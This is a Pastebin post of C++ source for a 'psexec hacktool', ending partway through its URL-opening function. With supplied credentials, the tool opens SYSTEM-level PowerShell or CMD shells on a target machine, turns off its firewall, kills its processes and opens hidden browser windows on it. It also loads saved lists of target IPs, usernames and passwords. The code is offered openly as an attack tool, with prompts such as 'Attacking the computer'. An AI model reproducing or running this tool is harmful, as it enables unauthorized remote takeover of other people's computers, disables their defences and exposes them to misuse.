daily pastebin goal
52%
SHARE
TWEET

PSEXEC hacktool by ori shamir v5

OriHackingTutorials Nov 6th, 2018 (edited) 74 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "pch.h"
  2. #include <iostream>
  3. #include <Windows.h>
  4. #include <string>
  5. #include <fstream>
  6. #include <vector>
  7. #include <cstdlib>
  8. #include <boost/algorithm/string.hpp>
  9. using namespace std;
  10. void CheckForTool();
  11. void color(char colorchar);
  12. void chooseoption();
  13. void getPstools();
  14. void info();
  15. void helpCommands();
  16. //declare attack functions
  17. void getshell();
  18. void openURL();
  19. void closeChrome();
  20. void closeProcess();
  21. void credits();
  22. //-------------
  23.  
  24. struct PCinfo {
  25.     string ip;
  26.     string username;
  27.     string password;
  28.     string attackType = "getShell";
  29. }pc;
  30.  
  31. void pause(char nul) {
  32.     if (nul == 'y' || nul == 'Y')
  33.         system("pause >nul");
  34.     else
  35.         system("pause");
  36. }
  37. void clear() {
  38.     system("cls");
  39. }
  40.  
  41. int main()
  42. {
  43.    
  44.     string title = "psexec Hacktool Version 5.0 by Ori";
  45.     clear();
  46.     system("mode con: cols=120 lines=30");
  47.  
  48.     system(("title " + title).c_str());
  49.  
  50.     // get data from user (computer IP, USERNAME,PASSWORD)
  51.     clear();
  52.     std::cout << "\n\n";
  53.     color('w');
  54.     std::cout << "      Please enter the ";
  55.     color('C');
  56.     std::cout << "IP ";
  57.     color('w');
  58.     std::cout << "of the computer: ";
  59.     color('C');
  60.     cin >> pc.ip;
  61.     std::cout << '\n';
  62.     if (pc.ip == "install")
  63.         CheckForTool();
  64.     else if (pc.ip == "credits")
  65.         credits();
  66.     else if (pc.ip == "info")
  67.         info();
  68.     else if (pc.ip == "help" || pc.ip == "commands") {
  69.         system("mode con: cols=140 lines=30");
  70.         helpCommands();
  71.         color('R');
  72.         std::cout << "\n\n\n\n";
  73.         pause('n');
  74.         main();
  75.     }
  76.    
  77.     // USERNAME
  78.     color('w');
  79.     std::cout << "      Please enter the ";
  80.     color('C');
  81.     std::cout << "USERNAME";
  82.     color('w');
  83.     std::cout << " you want to hack: ";
  84.     color('C');
  85.    
  86.     cin >> pc.username;
  87.     std::cout << '\n';
  88.     cin.clear();
  89.     // password
  90.     color('w');
  91.     std::cout << "      Please enter the ";
  92.     color('C');
  93.     std::cout << "PASSWORD ";
  94.     color('w');
  95.     std::cout << "you want to hack: ";
  96.     color('C');
  97.    
  98.     cin >> pc.password;
  99.     std::cout << "\n\n";
  100.     color('G');
  101.     std::cout << "[*] Attacking the computer: ";
  102.     color('B');
  103.     std::cout << pc.ip;
  104.     color('G');
  105.     std::cout << " With the username: ";
  106.     color('B');
  107.     std::cout << pc.username;
  108.     color('G');
  109.     std::cout << " and the password: ";
  110.     color('B');
  111.     std::cout << pc.password << "\n\n\n";
  112.     color('Y');
  113.     pause('n');
  114.     chooseoption();
  115.     clear();
  116.     std::cout << "thanks for using my tool. my channel: ori61 51\n";
  117.  
  118.     return 0;
  119. }
  120.  
  121. void CheckForTool() {
  122.    
  123.     string autoDownload;
  124.     // check if the user has psexec installed
  125.     system("start C:\\windows\\system32\\psexec");
  126.     clear();
  127.     std::cout << "\n\n\n\n";
  128.     color('Y');
  129.     std::cout << "          OH! did an error just accure?\n";
  130.     std::cout << "          if the screen above says something like: \n\n\n";
  131.     color('G');
  132.     std::cout << "          The system cannot find the file C:\\windows\\system32\\psexec.\n\n\n";
  133.     color('Y');
  134.     std::cout << "          you can either download the required tools manually, or i can do it for you.\n";
  135.     std::cout << "          if you want me to auto-download it for you, type ";
  136.     color('C');
  137.     std::cout << "yes and press ENTER.";
  138.     color('Y');
  139.     std::cout << " or type ";
  140.     color('C');
  141.     std::cout << "NO and press ENTER\n";
  142.     color('Y');
  143.     std::cout << "          OR! if you already have PSTOOLS installed or i have already downloaded it for you, say ";
  144.     color('G');
  145.     std::cout << "HaveIt\n\n\n";
  146.     std::cout << "          ";
  147.     color('R');
  148.     cin >> autoDownload;
  149.     if (autoDownload == "yes" || autoDownload == "y" || autoDownload == "YES" || autoDownload == "Y") {
  150.         color('C');
  151.         getPstools();
  152.     }
  153.     else if (autoDownload == "HaveIt" || autoDownload == "haveit" || autoDownload == "ihaveit") {
  154.         main();
  155.     }
  156.     else if (autoDownload == "N" || autoDownload == "n" || autoDownload == "no" || autoDownload == "NO") {
  157.         color('Y');
  158.         std::cout << "OK. then please go to:\n";
  159.         color('C');
  160.         std::cout << "\n\n";
  161.         std::cout << "          https://docs.microsoft.com/en-us/sysinternals/downloads/pstools \n\n";
  162.         color('Y');
  163.         std::cout << "          and download PsTools.\n";
  164.         std::cout << "          Then, move ALL of the files in the .ZIP folder to C:\\windows\\system32 \n";
  165.         std::cout << "          Have you done that? GREAT! now you can proceed.\n\n\n\n\n\n\n\n\n\n";
  166.         pause('n');
  167.         pause('n');
  168.         main();
  169.     }
  170.     else {
  171.         main();
  172.     }
  173. }
  174.  
  175. void getPstools() {
  176.     system("cd C:\\windows\\system32 && curl https://download.sysinternals.com/files/PSTools.zip > pstools.zip && tar -xf pstools.zip");
  177.     std::cout << "\n\n";
  178.     color('Y');
  179.     std::cout << "             I am done downloading and installing. i will now redirect you.\n\n\n\n";
  180.     pause('n');
  181.     main();
  182. }
  183.  
  184. void chooseoption() {
  185.     clear();
  186.     system("title Please choose the attack type");
  187.     string todo;
  188.    
  189.     std::cout << "\n\n";
  190.  
  191.     color('Y');
  192.     std::cout << "         What action do you want to perform? \n\n";
  193.     color('P');
  194.     std::cout << "         -------------------------------------------------------------------------------------\n";
  195.     std::cout << "         =                                                                                   =\n";
  196.     std::cout << "         =            "; color('B'); cout << "[1]"; color('R'); cout << "   Open shell on the remote machine";                 color('P'); cout << "                                 =\n";
  197.     std::cout << "         =            "; color('B'); cout << "[2]"; color('R'); cout << "   Open a specific URL on the remote machine";        color('P'); cout << "                        =\n";
  198.     std::cout << "         =            "; color('B'); cout << "[3]"; color('R'); cout << "   Close a specific process on the remote machine";   color('P'); cout << "                   =\n";
  199.     std::cout << "         =            "; color('B'); cout << "[4]"; color('R'); cout << "   Close all chrome processes on the remote machine"; color('P'); cout << "                 =\n";
  200.     //std::cout << "         =            "; color('B'); cout << "[5]"; color('R'); cout << "   Scan for a vulnerable devices on the network";   color('P'); cout << "                     =\n";
  201.     std::cout << "         =            "; color('B'); cout << "[98]"; color('R'); cout << "  See the credits";                                  color('P'); cout << "                                                  =\n";
  202.     std::cout << "         =            "; color('B'); cout << "[99]"; color('R'); cout << "  Install the required tools";                       color('P'); cout << "                                       =\n";
  203.     std::cout << "         =            "; color('B'); cout << "[0]"; color('R'); cout << "   Exit the tool";                                    color('P'); cout << "                                                    =\n";
  204.     std::cout << "         =                                                                                   =\n";
  205.     std::cout << "         -------------------------------------------------------------------------------------\n\n\n";
  206.  
  207.  
  208.     while (true) {
  209.         color('C');
  210.         std::cout << "         HackItTool~# ";
  211.         color('B');
  212.         getline(cin, todo);
  213.  
  214.         vector<string> aTodo(10);
  215.         boost::split(aTodo, todo, [](char c) {return c == ' '; });
  216.  
  217.         if (todo == "1")
  218.             getshell();
  219.         else if (todo == "2")
  220.             openURL();
  221.         else if (todo == "3")
  222.             closeProcess();
  223.         else if (todo == "4")
  224.             closeChrome();
  225.         else if (todo == "98" || todo == "credits" || todo == "CREDITS" || todo == "credit")
  226.             credits();
  227.         else if (todo == "0" || todo == "EXIT" || todo == "exit")
  228.             exit(0);
  229.         else if (todo == "99" || todo == "install" || todo == "INSTALL")
  230.             CheckForTool();
  231.         else if (todo == "IP" || todo == "ip" || todo == "show ip") {
  232.             color('G');
  233.             std::cout << "         Currently, your IP is: ";
  234.             color('R');
  235.             std::cout << pc.ip << std::endl;
  236.  
  237.         }
  238.         else if (todo == "password" || todo == "show password" || todo == "PASSWORD" || todo == "pass" || todo == "show pass") {
  239.             color('G');
  240.             std::cout << "         Currently, your password is: ";
  241.             color('R');
  242.             std::cout << pc.password << std::endl;
  243.            
  244.         }
  245.         else if (todo == "username" || todo == "show username" || todo == "USERNAME") {
  246.             color('G');
  247.             std::cout << "         Currently, your username is: ";
  248.             color('R');
  249.             std::cout << pc.username << std::endl;
  250.            
  251.         }
  252.         else if (todo == "AttackType" || todo == "attackType" || todo == "show attackType" || todo == "show attacktype") {
  253.             color('G');
  254.             std::cout << "         Currently, your attack type is: ";
  255.             color('R');
  256.             std::cout << pc.attackType << std::endl;
  257.         }
  258.         else if (todo == "attack" || todo == "ATTACK" || todo == "run") {
  259.  
  260.             if (pc.attackType == "getShell" || pc.attackType == "getshell" || pc.attackType == "GetShell" || pc.attackType == "GETSHELL")
  261.                 getshell();
  262.             else if (pc.attackType == "closeChrome" || pc.attackType == "closechrome" || pc.attackType == "CloseChrome" || pc.attackType == "CLOSECHROME")
  263.                 closeChrome();
  264.             else if (pc.attackType == "openURL" || pc.attackType == "OpenUrl" || pc.attackType == "openurl" || pc.attackType == "OPENURL" || pc.attackType == "openUrl")
  265.                 openURL();
  266.             else if (pc.attackType == "closeProcess" || pc.attackType == "CloseProcess" || pc.attackType == "CLOSEPROCESS" || pc.attackType == "closeprocess" || pc.attackType == "Closeprocess")
  267.                 closeProcess();
  268.             else {
  269.                 color('Y');
  270.                 cout << "         unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
  271.             }
  272.            
  273.         }
  274.         else if (todo == "show options" || todo == "Show Options" || todo == "Show options" || todo == "options" || todo == "Options") {
  275.             helpCommands();
  276.            
  277.         }
  278.         else if (todo == "DisableFirewall" || todo == "disableFirewall" || todo == "disablefirewall") {
  279.             color('G');
  280.             system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c NetSh Advfirewall set allprofiles state off").c_str());
  281.         }
  282.         else if (todo == "EnableFirewall" || todo == "enableFirewall" || todo == "enablefirewall") {
  283.             color('G');
  284.             system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c NetSh Advfirewall set allprofiles state on").c_str());
  285.         }
  286.         else if (aTodo[0] == "import") {
  287.             string fileName;
  288.             if (aTodo.size() != 2) {
  289.                 color('G');
  290.                 std::cout << "\n\n         Usage: ";
  291.                 color('P');
  292.                 std::cout << "         import "; color('G'); std::cout << "[filename"; color('R'); cout << ".txt"; color('G'); cout << "]\n\n";
  293.  
  294.             }
  295.             else {
  296.                 fileName = aTodo[1];
  297.  
  298.                 std::ifstream userConfig(fileName);
  299.  
  300.                 string ip;
  301.                 string username;
  302.                 string password;
  303.                 string AttackType;
  304.  
  305.                 string CurrentStatus;
  306.  
  307.                 vector<string> IPs(150);
  308.                 vector<string> Usernames(150);
  309.                 vector<string> Passwords(150);
  310.                 vector<string> AttackTypes(150);
  311.  
  312.                 while (!userConfig) {
  313.                     color('R');
  314.                     std::cout << "         ERROR FILE NOT FOUND. CREATING FILE...\n";
  315.                     std::cout << "         Please make sure that your .txt file is always on the same folder as your .exe file.\n\n";
  316.                     color('C');
  317.  
  318.                     ofstream createFile;
  319.                     createFile.open(fileName);
  320.  
  321.                     createFile << "saves:\n";
  322.                     createFile << "[ip] [username] [password] [attackType openURL, getShell, closeChrome, closeProcess]\n";
  323.                     createFile << "10.0.0.138 user p@ssw0rd openURL\n\n";
  324.                     createFile << "urls:\n";
  325.                     createFile << "[name] [URL]\n";
  326.                     createFile << "OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/ \n\n";
  327.  
  328.                     createFile.close();
  329.                     break;
  330.                 }
  331.  
  332.                 int i = 0;
  333.                 while (userConfig >> CurrentStatus) {
  334.                     if (CurrentStatus == "saves:") {
  335.                         while (userConfig >> ip >> username >> password >> AttackType) {
  336.                             if (ip == "urls:" || username == "urls:" || password == "urls:" || AttackType == "urls:")
  337.                                 break;
  338.                             else {
  339.                                 IPs[i] = ip;
  340.                                 Usernames[i] = username;
  341.                                 Passwords[i] = password;
  342.                                 AttackTypes[i] = AttackType;
  343.                                 i++;
  344.                             }
  345.                         }
  346.                         break;
  347.                     }
  348.                 }
  349.                 userConfig.close();
  350.                 if (i >= 2) {
  351.                     int numOfSave = 0;
  352.                     color('r');
  353.                     std::cout << "         Listing options...\n\n\n";
  354.                     color('P');
  355.                     std::cout << "         --------------------------------------------------------------------\n";
  356.                     for (int c = 0; c < i; c++) {
  357.                         color('P');
  358.                         std::cout << "         =";
  359.                         color('G');
  360.                         std::cout << "          #" << c+1 << " ........ " << IPs[c] << ", " << Usernames[c] << ", " << Passwords[c] << ", " << AttackTypes[c] << "\n";
  361.                     }
  362.                     color('P');
  363.                     std::cout << "         --------------------------------------------------------------------\n";
  364.                     color('Y');
  365.                     std::cout << "         HackItTool~# ";
  366.                     color('B');
  367.                     cin >> numOfSave;
  368.                     numOfSave -= 1; // this is equal to numOfSave = numOfSave - 1;
  369.                     if (numOfSave > i) {
  370.                         color('R');
  371.                         std::cout << "         The option: " << numOfSave << " Is not valid. please enter the command again.\n\n";
  372.                         pause('n');
  373.                         chooseoption();
  374.                     }
  375.                     //std::cout << "ok. the creds for the number you chose are: " << IPs[numOfSave] << ',' << Usernames[numOfSave] << ',' << Passwords[numOfSave] << ',' << AttackTypes[numOfSave] << std::endl;
  376.                     pc.ip = IPs[numOfSave];
  377.                     pc.username = Usernames[numOfSave];
  378.                     pc.password = Passwords[numOfSave];
  379.                     pc.attackType = AttackTypes[numOfSave];
  380.                 }
  381.                 else {
  382.                     pc.ip = ip;
  383.                     pc.username = username;
  384.                     pc.password = password;
  385.                     pc.attackType = AttackType;
  386.                 }
  387.                 std::cout << "\n";
  388.                 color('Y');
  389.                 cout << "         your ip is now: ";
  390.                 color('R');
  391.                 cout << pc.ip;
  392.                 color('Y');
  393.                 cout << "\n         your username is now: ";
  394.                 color('R');
  395.                 cout << pc.username;
  396.                 color('Y');
  397.                 cout << "\n         your password is now: ";
  398.                 color('R');
  399.                 cout << pc.password;
  400.                 color('Y');
  401.                 cout << "\n         your attack type is now: ";
  402.                 color('R');
  403.                 cout << pc.attackType << "\n\n\n";
  404.  
  405.                 string RunItNow;
  406.                 color('C');
  407.                 std::cout << "         Would you like to run it now? (Y/n)";
  408.                 color('B');
  409.                 cin >> RunItNow;
  410.                 if (RunItNow == "Y" || RunItNow == "y" || RunItNow == "yes" || RunItNow == "YES" || RunItNow == "Yes") {
  411.  
  412.                     if (pc.attackType == "getShell" || pc.attackType == "getshell" || pc.attackType == "GetShell" || pc.attackType == "GETSHELL")
  413.                         getshell();
  414.                     else if (pc.attackType == "closeChrome" || pc.attackType == "closechrome" || pc.attackType == "CloseChrome" || pc.attackType == "CLOSECHROME")
  415.                         closeChrome();
  416.                     else if (pc.attackType == "openURL" || pc.attackType == "OpenUrl" || pc.attackType == "openurl" || pc.attackType == "OPENURL" || pc.attackType == "openUrl")
  417.                         openURL();
  418.                     else if (pc.attackType == "closeProcess" || pc.attackType == "CloseProcess" || pc.attackType == "CLOSEPROCESS" || pc.attackType == "closeprocess" || pc.attackType == "Closeprocess")
  419.                         closeProcess();
  420.                     else {
  421.                         color('Y');
  422.                         cout << "         unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
  423.                     }
  424.                 }
  425.                 else {
  426.                 }
  427.             }          
  428.         }      
  429.         else if (todo == "HELP" || todo == "help") {
  430.             helpCommands();        
  431.         }
  432.         else if (todo == "info" || todo == "INFO")
  433.             info();
  434.         else if (todo == "clear" || todo == "CLEAR") {
  435.             cin.clear();
  436.             chooseoption();
  437.            
  438.         }
  439.         else if (todo == "RESTART" || todo == "restart")
  440.             main();
  441.         // ADDURL
  442.         /*
  443.         else if (aTodo[0] == "addurl" || aTodo[0] == "addURL" || aTodo[0] == "help" && aTodo[1] == "addURL" || aTodo[0] == "help" && aTodo[1] == "addurl") {
  444.             if (aTodo.size() != 3) {
  445.                 color('R');
  446.                 std::cout << "\n         Usage: addurl [name] [url] \n         example:\n";
  447.                 color('G');
  448.                 std::cout << "         addurl OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q" << "\n\n\n\n";
  449.                 color('C');
  450.                 pause('n');
  451.                 chooseoption();
  452.             }
  453.             else {
  454.                 if (!aTodo[1].empty() && !aTodo[2].empty()) {
  455.                     string name = aTodo[1];
  456.                     string URL = aTodo[2];
  457.                     string CurrentStatus;
  458.                     std::ofstream createFile;
  459.                     std::ifstream CheckFile("config.txt");
  460.  
  461.                     createFile.open("config.txt", fstream::app); // open the file in append mode, so you wont override it.
  462.                     while (CheckFile >> CurrentStatus) {
  463.                         if (CurrentStatus == "urls:") {
  464.                             createFile << "\n" << name << " " << URL << " \n";
  465.                             break;
  466.                         }
  467.                     }
  468.                     createFile.close();
  469.                     color('C');
  470.                     std::cout << "         Assigned the name: ";
  471.                     color('R');
  472.                     std::cout << name;
  473.                     color('C');
  474.                     std::cout << " To the URL: ";
  475.                     color('R');
  476.                     std::cout << URL << "\n";
  477.                 }
  478.                 color('C');
  479.             }
  480.         }
  481.         */
  482.         // REMOVEURL
  483.         /*
  484.         else if (aTodo[0] == "removeurl" || aTodo[0] == "removeURL" || aTodo[0] == "remurl" || aTodo[0] == "remURL" || aTodo[0] == "help" && aTodo[1] == "removeurl") {
  485.             if (aTodo.size() != 3) {
  486.                 color('R');
  487.                 std::cout << "   Usage: removeURL [name] [url] \n   example:\n";
  488.                 color('G');
  489.                 std::cout << "   removeURL OriChannel\n";
  490.                 color('Y');
  491.                 pause('n');
  492.                 chooseoption();
  493.             }
  494.             else {
  495.                 std::string shortcutname;
  496.                 std::string url;
  497.                
  498.                 std::ifstream file("urls.txt");
  499.  
  500.                 vector<string> urls(150);
  501.                 vector<string> shortcutNames(150);
  502.  
  503.                 int numoflines = 0;
  504.                 while (file >> url >> shortcutname) {
  505.                     shortcutNames[numoflines] = shortcutname;
  506.                     urls[numoflines] = url;
  507.                     numoflines++;
  508.                 }
  509.  
  510.                 ofstream newFile;
  511.                 newFile.open("urls.txt");
  512.                 for (int c = 0; c <= numoflines; c++) {
  513.                     if (urls[c] == aTodo[1]) {
  514.                         //dont write it to the file
  515.                     }
  516.                     else {
  517.                         newFile << urls[c] << " " << shortcutNames[c] << "\n";
  518.                     }
  519.                 }
  520.  
  521.                 color('C');
  522.  
  523.             }
  524.         }
  525.         */
  526.  
  527.         else if (aTodo[0] == "set" || aTodo[0] == "SET") {
  528.             if (aTodo.size() != 3) {
  529.                 color('G');
  530.                 std::cout << "\n\n         Usage: \n";
  531.                 color('R');
  532.                 std::cout << "         set ip [ip]\n";
  533.                 std::cout << "         set username [username]\n";
  534.                 std::cout << "         set password [password]\n";
  535.                 std::cout << "         set attackType [type]\n\n";
  536.                 color('P');
  537.                 std::cout << "         ---------------------------\n";
  538.                 std::cout << "         |       Attack types:     |\n";
  539.                 std::cout << "         |         getshell        |\n";
  540.                 std::cout << "         |         openURL         |\n";
  541.                 std::cout << "         |         closeChrome     |\n";
  542.                 std::cout << "         |         closeProcess    |\n";
  543.                 std::cout << "         ---------------------------\n\n";
  544.                
  545.             }
  546.             else {
  547.                 if (aTodo[1] == "username" || aTodo[1] == "Username" || aTodo[1] == "USERNAME") {
  548.                     pc.username = aTodo[2];
  549.                     color('G');
  550.                     std::cout << "         Your username is now set to " << pc.username << std::endl;
  551.                 }
  552.                 else if (aTodo[1] == "password" || aTodo[1] == "Password" || aTodo[1] == "PASSWORD" || aTodo[1] == "pass") {
  553.                     pc.password = aTodo[2];
  554.                     color('G');
  555.                     std::cout << "         Your password is now set to " << pc.password << std::endl;
  556.                 }
  557.                 else if (aTodo[1] == "ip" || aTodo[1] == "IP") {
  558.                     pc.ip = aTodo[2];
  559.                     color('G');
  560.                     std::cout << "         Your ip is now set to " << pc.ip << std::endl;
  561.                 }
  562.                 else if (aTodo[1] == "attackType" || aTodo[1] == "attacktype" || aTodo[1] == "attack"){
  563.  
  564.                     if (aTodo[2] == "getShell" || aTodo[2] == "getshell" || aTodo[2] == "GetShell" || aTodo[2] == "GETSHELL")
  565.                         pc.attackType = "getShell";
  566.                     else if (aTodo[2] == "closeChrome" || aTodo[2] == "closechrome" || aTodo[2] == "CloseChrome" || aTodo[2] == "CLOSECHROME")
  567.                         pc.attackType = "closeChrome";                 
  568.                     else if (aTodo[2] == "openURL" || aTodo[2] == "OpenUrl" || aTodo[2] == "openurl" || aTodo[2] == "OPENURL" || aTodo[2] == "openUrl")
  569.                         pc.attackType = "openURL";                 
  570.                     else if (aTodo[2] == "closeProcess" || aTodo[2] == "CloseProcess" || aTodo[2] == "CLOSEPROCESS" || aTodo[2] == "closeprocess" || aTodo[2] == "Closeprocess")
  571.                         pc.attackType = "closeProcess";
  572.  
  573.                     else {
  574.                         color('Y');
  575.                         cout << "         unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
  576.                     }
  577.                 }
  578.                 else {
  579.                     color('R');
  580.                     std::cout << "         Unkown setting " << '"' << aTodo[1] <<'"' <<". type ";
  581.                     color('G');
  582.                     std::cout << '"' << "set" << '"';
  583.                     color('R');
  584.                     std::cout << " for help.\n";
  585.                 }
  586.  
  587.             }
  588.         }
  589.         else {         
  590.             color('R');
  591.             std::cout << "         Unkown command. type ";
  592.             color('G');
  593.             std::cout << '"' << "help" << '"';
  594.             color('R');
  595.             std::cout << " for help.\n";
  596.         }
  597.     }
  598.     pause('n');
  599. }
  600.  
  601. void getshell() {
  602.     string todo;
  603.     string title = "psexec HackTool - get shell";
  604.     system(("title " + title).c_str());
  605.     clear();
  606.     std::cout << "\n\n\n";
  607.     color('B');
  608.     std::cout << "         Please specify the kind of shell: \n\n";
  609.     color('Y');
  610.     std::cout << "         ----------------------------------------------------------\n";
  611.     std::cout << "         =                                                        =\n";
  612.     std::cout << "         =                    "; color('G'); cout << "[P] "; color('C'); cout << "use POWERSHELL"; color('Y'); cout << "                  = \n";
  613.     std::cout << "         =                    "; color('G'); cout << "[C] "; color('C'); cout << "use CMD"; color('Y'); cout << "                         = \n";
  614.     std::cout << "         =                    "; color('G'); cout << "[99] "; color('C'); cout << "Go back"; color('Y'); cout << "                        = \n";
  615.     color('Y');
  616.     std::cout << "         =                                                        =\n";
  617.     std::cout << "         ----------------------------------------------------------\n\n\n";
  618.  
  619.     color('C');
  620.     while (true) {
  621.         std::cout << "         HackItTool~# ";
  622.         color('B');
  623.         getline(cin, todo);
  624.  
  625.         // P key
  626.         // P key is 0x50
  627.         if (todo == "P" || todo == "p") {
  628.             clear();
  629.  
  630.             color('Y');
  631.             std::cout << "         ------------------------------------------------------------------------------------------------------------\n";
  632.             std::cout << "         =                                                                                                          =\n";
  633.             std::cout << "         =          Attacking ";
  634.             color('G');
  635.             std::cout << pc.ip;
  636.             color('Y');
  637.             std::cout << " with the ";
  638.             color('G');
  639.             std::cout << "username: " << pc.username;
  640.             color('Y');
  641.             std::cout << " and the ";
  642.             color('G');
  643.             std::cout << "password: " << pc.password << std::endl;
  644.             color('Y');
  645.             std::cout << "         =                                 USING POWERSHELL                                                         =\n";
  646.             std::cout << "         =                                                                                                          =\n";
  647.             std::cout << "         ------------------------------------------------------------------------------------------------------------\n";
  648.             color('G');
  649.             std::cout << "[+] Authenticating...\n";
  650.             color('C');
  651.             cin.clear();
  652.             system(("psexec \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " -s powershell.exe" + " -accepteula").c_str());
  653.             chooseoption();
  654.             return;
  655.  
  656.         }
  657.         // 0x43 is the C key
  658.         else if (todo == "C" || todo == "c") {
  659.             clear();
  660.             color('Y');
  661.             std::cout << "         -----------------------------------------------------------------------------------------\n";
  662.             std::cout << "         =                                                        \n";
  663.             std::cout << "         =          Attacking ";
  664.             color('G');
  665.             std::cout << pc.ip;
  666.             color('Y');
  667.             std::cout << " with the ";
  668.             color('G');
  669.             std::cout << "username: " << pc.username;
  670.             color('Y');
  671.             std::cout << " and the ";
  672.             color('G');
  673.             std::cout << "password: " << pc.password << std::endl;
  674.             color('Y');
  675.             std::cout << "         =                        USING CMD                                                      =\n";
  676.             std::cout << "         =                                                                                       =\n";
  677.             std::cout << "         -----------------------------------------------------------------------------------------\n";
  678.             color('G');
  679.             std::cout << "[+] Authenticating...\n";
  680.             color('C');
  681.             cin.clear();
  682.             system(("psexec \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " -s cmd.exe" + " -accepteula").c_str());
  683.             chooseoption();
  684.             return;
  685.         }
  686.         else if (todo == "back" || todo == "return" || 99) {
  687.             chooseoption();
  688.         }
  689.         else {
  690.             color('R');
  691.             std::cout << "         Please enter a valid option.\n\n";
  692.             color('C');
  693.         }
  694.         Sleep(400);
  695.     }
  696.     return;
  697. }
  698.  
  699. void openURL() {
  700.     clear();
  701.     system("title psexec HackTool - open URL");
  702.  
  703.     unsigned short int iNumOfTabsToOpen;
  704.     unsigned short int iDelayBetweenStartingTabs;
  705.     unsigned short int iDelayBeforeOpening;
  706.     string sDelayBetweenStartingTabs;
  707.     string sDelayBeforeOpening;
  708.     string sIsinVisible;
  709.     bool bIsinVisible = false;
  710.     std::string sIncognito, AnswerIncognito, URL, sNumOfTabsToOpen;
  711.    
  712.     std::cout << "\n\n\n\n";
  713.     vector<string> aImport(10);
  714.    
  715.     color('Y');
  716.     std::cout << "    If you want to import URLs from a text file, type"; color('R'); std::cout << " import <filename.txt>\n"; color('Y');
  717.     std::cout << "    Please enter the URL you want to be opened: ";
  718.     color('G');
  719.     getline(cin, URL);
  720.     std::cout << '\n';
  721.     boost::split(aImport, URL, [](char c) {return c == ' '; });
  722.     if (aImport.size() > 1 && aImport[0] == "import") {
  723.         string fileName = aImport[1];
  724.         std::ifstream userConfig(fileName);
  725.  
  726.         string currentName;
  727.         string currentURL;
  728.  
  729.         string CurrentStatus;
  730.  
  731.         vector<string> Names(150);
  732.         vector<string> URLs(150);
  733.  
  734.         while (!userConfig) {
  735.             color('R');
  736.             std::cout << "         ERROR FILE NOT FOUND. CREATING FILE...\n";
  737.             std::cout << "         Please make sure that your .txt file is always on the same folder as your .exe file.\n\n";
  738.             color('C');
  739.  
  740.             ofstream createFile;
  741.             createFile.open(fileName);
  742.  
  743.             createFile << "saves:\n";
  744.             createFile << "[ip] [username] [password] [attackType openURL, getShell, closeChrome, closeProcess]\n";
  745.             createFile << "10.0.0.138 user p@ssw0rd openURL\n\n";
  746.             createFile << "urls:\n";
  747.             createFile << "[name] [URL]\n";
  748.             createFile << "OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/ \n\n";
  749.  
  750.             createFile.close();
  751.             break;
  752.         }
  753.  
  754.         int i = 0;
  755.         while (userConfig >> CurrentStatus) {
  756.             if (CurrentStatus == "urls:" || CurrentStatus == "URLS:") {
  757.                 while (userConfig >> currentName >> currentURL) {
  758.                     if (currentName == "saves:" || currentURL == "saves:")
  759.                         break;
  760.                     else {
  761.                         Names[i] = currentName;
  762.                         URLs[i] = currentURL;
  763.                         i++;
  764.                     }
  765.                 }
  766.                 break;
  767.             }
  768.         }
  769.         userConfig.close();
  770.         if (i > 1) {
  771.             int numOfSave = 0;
  772.             color('r');
  773.             std::cout << "         Listing options...\n\n\n";
  774.             color('P');
  775.             std::cout << "         --------------------------------------------------------------------\n";
  776.             for (int c = 0; c < i; c++) {
  777.                 color('P');
  778.                 std::cout << "         =";
  779.                 color('G');
  780.                 std::cout << "          #" << c + 1 << " ........ " << Names[c] << ", " << URLs[c] << "\n";
  781.             }
  782.             color('P');
  783.             std::cout << "         --------------------------------------------------------------------\n";
  784.             color('Y');
  785.             std::cout << "         HackItTool~# ";
  786.             color('B');
  787.             cin >> numOfSave;
  788.             numOfSave -= 1; // this is equal to numOfSave = numOfSave - 1;
  789.             if (numOfSave > i) {
  790.                 color('R');
  791.                 std::cout << "         The option: " << numOfSave << " Is not valid. please enter the command again.\n\n";
  792.                 pause('n');
  793.                 openURL;
  794.             }
  795.            
  796.             URL = URLs[numOfSave];
  797.            
  798.            
  799.         }
  800.         //std::cout << "         The URL is now set to: " << URLs[numOfSave] << "\n";
  801.         cin.ignore();
  802.     }
  803.     color('Y');
  804.     std::cout << "    How many times do you want to open this URL? ";
  805.     color('G');
  806.     cin >> sNumOfTabsToOpen;
  807.     try {
  808.         iNumOfTabsToOpen = std::stoi(sNumOfTabsToOpen);
  809.     }
  810.     catch (std::invalid_argument& e) {
  811.         std::cout << "Please enter a valid number.\n";
  812.         cin.ignore();
  813.         pause('y');
  814.         openURL();
  815.     }
  816.    
  817.     std::cout << '\n';
  818.  
  819.     color('Y');
  820.     std::cout << "    Do you want to open the tab in incognito mode? (Y/n): ";
  821.     color('G');
  822.     cin >> sIncognito;
  823.     color('B');
  824.     std::cout << '\n';
  825.  
  826.     color('Y');
  827.     std::cout << "    Would you like to make the window invisible to the user? (Y/n) ";
  828.     color('G');
  829.     cin >> sIsinVisible;
  830.     if (sIsinVisible == "y" || sIsinVisible == "Y" || sIsinVisible == "yes" || sIsinVisible == "Yes")
  831.         bIsinVisible = true;
  832.     std::cout << '\n';
  833.  
  834.     color('Y');
  835.     std::cout << "    How much time do you want to delay before opening the URL? (in milliseconds): ";
  836.     color('G');
  837.     cin >> sDelayBeforeOpening;
  838.     try {
  839.         iDelayBeforeOpening = std::stoi(sDelayBeforeOpening);
  840.     }
  841.     catch (std::invalid_argument& e) {
  842.         std::cout << "Please enter a valid number.\n";
  843.         cin.ignore();
  844.         pause('y');
  845.         openURL();
  846.     }
  847.     std::cout << '\n';
  848.    
  849.     //-------------------------------------------------------------------------------------------
  850.     //=                  START TO CHECK FOR NUMBER OF TABS TO OPEN, AND DELAY                   =
  851.     //-------------------------------------------------------------------------------------------
  852.     if (iNumOfTabsToOpen > 1 && iNumOfTabsToOpen < 3000) {
  853.         color('Y');
